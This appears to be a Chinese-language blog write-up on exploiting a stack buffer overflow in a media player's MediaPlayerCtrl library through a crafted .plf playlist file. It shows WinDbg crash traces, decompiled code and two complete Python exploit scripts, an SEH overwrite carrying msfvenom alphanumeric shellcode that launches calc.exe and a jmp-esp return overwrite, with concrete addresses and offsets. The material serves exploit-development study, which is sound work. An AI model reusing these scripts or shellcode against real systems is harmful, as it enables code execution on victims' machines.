0012f414 6400f04f 00000001 00000000 02c25da5
0012f424 02c25da0
0:000> db 02c25da5 L20
02c25da5 63 72 61 73 68 2e 70 6c-66 00 00 69 00 6c 00 65 crash.plf..i.l.e
02c25db5 00 49 00 6e 00 66 00 6f-00 00 00 c4 02 00 00 01 .I.n.f.o........
0:000> db 02c25da0 L20
02c25da0 5a 3a 5c 35 5c 63 72 61-73 68 2e 70 6c 66 00 00 Z:\5\crash.plf..
02c25db0 69 00 6c 00 65 00 49 00-6e 00 66 00 6f 00 00 00 i.l.e.I.n.f.o...
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=6de300aa ecx=02ca1a70 edx=00000001 esi=02ca1a70 edi=6405569c
eip=6400f4b0 esp=0012f414 ebp=02ca1cc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MediaPlayerCtrl!DllCreateObject+0x1a0:
6400f4b0 81ec18020000 sub esp,218h
0:000> dd esp L5
0012f414 6400f04f 00000001 00000001 05aadc5d
0012f424 05aad88c
0:000> db 05aadc5d
05aadc5d 11 e7 e3 24 48 27 05 e9-e0 6e 1d ee cd 39 96 c4 ...$H'...n...9..
05aadc6d ba bb 7e 15 42 17 bf 9a-b1 69 87 1c 2a 1c f1 5f ..~.B....i..*.._
05aadc7d d7 27 c6 22 03 ad dd 84-c0 15 3a 35 04 c3 c9 39 .'."......:5...9
05aadc8d e1 87 96 5d f4 44 ad 59-7d 6b 62 e8 c5 48 a6 b1 ...].D.Y}kb..H..
05aadc9d 9e f1 ff 1f 70 0d 1f c0-2d ab 6b ec 3a c6 31 7a ....p...-.k.:.1z
05aadcad bc 54 4c c8 be 66 4f 7c-d7 57 c4 13 a0 67 0f 50 .TL..fO|.W...g.P
05aadcbd 5e 22 12 f0 f7 eb c6 41-9a 0b 3d 85 a3 8f b4 75 ^".....A..=....u
05aadccd 50 8f bc 70 1c 17 2c 08-0d f2 52 bf 2e d7 30 5e P..p..,...R...0^
0:000> db 05aadc5d+0n868
05aadfc1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aadfd1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aadfe1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aadff1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae001 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae011 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae021 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
05aae031 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> g
(1714.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f310 ebx=02ca1a70 ecx=000000c8 edx=00001011 esi=05aae57c edi=00130000
eip=6400f558 esp=0012f1ec ebp=00000001 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
MediaPlayerCtrl!DllCreateObject+0x248:
6400f558 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
不止是shellcode整体的payload也是大变样了,这一点虽然在原文中没有提,但肯定是和软件的上下文环境相关的,同时也观察到原文中使用的shellcode貌似全部是由可见的字符组成的,当我换成x86/alpha_upper
的encoder,整体的漏洞利用也就没有问题了:
padding = "A" * 868
next_seh = "\xeb\x06\x90\x90"
handler = "\xf7\x46\x02\x64" # 640246f7 pop pop ret
junk = "A" * 3000
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
shellcode = ""
shellcode += "\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93"
shellcode += "\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e"
shellcode += "\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += "\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50"
shellcode += "\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += "\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
shellcode += "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
shellcode += "\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33"
shellcode += "\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c"
shellcode += "\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c"
shellcode += "\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54"
shellcode += "\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e"
shellcode += "\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47"
shellcode += "\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d"
shellcode += "\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42"
shellcode += "\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54"
shellcode += "\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50"
shellcode += "\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c"
shellcode += "\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c"
shellcode += "\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b"
shellcode += "\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59"
shellcode += "\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53"
shellcode += "\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a"
shellcode += "\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59"
shellcode += "\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56"
shellcode += "\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c"
shellcode += "\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31"
shellcode += "\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46"
shellcode += "\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c"
shellcode += "\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33"
shellcode += "\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43"
shellcode += "\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b"
shellcode += "\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f"
shellcode += "\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d"
shellcode += "\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35"
shellcode += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f"
shellcode += "\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45"
shellcode += "\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52"
shellcode += "\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53"
shellcode += "\x30\x41\x41"
payload = padding + next_seh + handler + shellcode + junk
with open("crash.plf", "w") as f:
f.write(payload)
完美主义者总是喜欢刨根问题,经过调试后可以知道函数的相互调用关系,大致可以看出对文件内容做了哪些操作,漏洞函数的返回地址为6400f04f
,在函数sub_6400F030
中,其只是个wrapper函数,直接调用漏洞函数。更上一层的返回地址为6400de40
,在函数sub_6400DCC0
,其中还有一个do while循环的过程:
else
{
sub_6404677C(&v20);
LOBYTE(v25) = 1;
if ( sub_640467F1(pszPath, 0x4000, 0) )
{
v19 = (LPCSTR)off_64068DA8;
v10 = *v3;
v11 = *v3;
v12 = (void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))*v2[59];
LOBYTE(v25) = 2;
v13 = PathFindFileNameA(v11);
(*v12)(v2[59], 1, 0, v13, v10);
v14 = 1;
if ( sub_640469D4(&v20, &v19) )
{
do
{
v15 = v19;
v16 = (void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))*v2[59];
v17 = PathFindFileNameA(v19);
(*v16)(v2[59], 1, v14++, v17, v15);
}
while ( sub_640469D4(&v20, &v19) );
(*v16)(v2[59], 1, v14++, v17, v15);
动态调用漏洞函数,这个过程和函数sub_640469D4
的结果可能就决定了plf的文件格式。在调试过程中发现,即使文件内容全为大写字符也出现不进入漏洞函数或者多次进入漏洞函数的情况。搜索得知plf是该软件的独有格式,如果全部逆向清楚各种影响shellcode的格式,可能还是会花费一个星期,这样是没有意义的,直接有效的shellcode对漏洞利用过程来说就是高效的,要时刻记住我们的终极目标,当然对逆向工程比较感兴趣的同学可以继续逆一逆。
如果直接覆盖返回地址来完成漏洞利用,那么关键的便是第二次的strcpy,目的栈地址的偏移为0x104,和原文中一致。使用MediaPlayerCtrl中jmp esp
的地址和大写字母的shellcode同样可以弹出计算器:
padding = "A" * 260
ret = "\x0b\xea\x05\x64" # 6405ea0b jmp esp
nop = "\x90" * 16
junk = "A" * 1000
shellcode = ""
payload = padding + ret + nop + shellcode
with open("crash.plf", "w") as f:
f.write(payload)
0x03 工具使用
原文中介绍了Immunity Debugger和其插件的使用,可以使用他人写好的插件的和py命令来加速漏洞利用的过程,插件的道理和Ollydbg类似,但API的逻辑和编写使用还是需要时间理解的。另外,作者在2012年把mona.py移植到了windbg下(完美主义者的福音)。文章和使用例子都写得很清楚,我也就不赘述了,可以大致总结下漏洞利用的过程:
- 确定漏洞触发点。
- 根据安全机制和漏洞环境确定漏洞利用方案。
- 对整个漏洞利用过程的完善调试。
0x04 总结
这么长时间没有更新博客的原因,是在对该软件的破解花费了一个星期的时间,因为逆向思路的不清晰,在最后快要放弃的时候出现了转机。韶华宝贵,始终要以漏洞利用的目标为导向,这当然也要和完美的分析过程相互平衡的。也想到了一个解决钻牛角尖的办法,设定一个钻的时间,可能是因为知识的水平不够或者思路不够清晰,导致时间已过问题还没解决,那就暂且放一放继续前往终极目标,这个遗留的问题可以交给潜意思、时间和交流等方法来化解。
使用工具是我们人类的一个特点,私以为漏洞利用也是如此,加速的工具只是器,顶多算得上是优秀的术,其中的道是相对不变的,对道的完全掌握自然可以达到手中无剑心中有,我自然也是喜欢这种感觉的。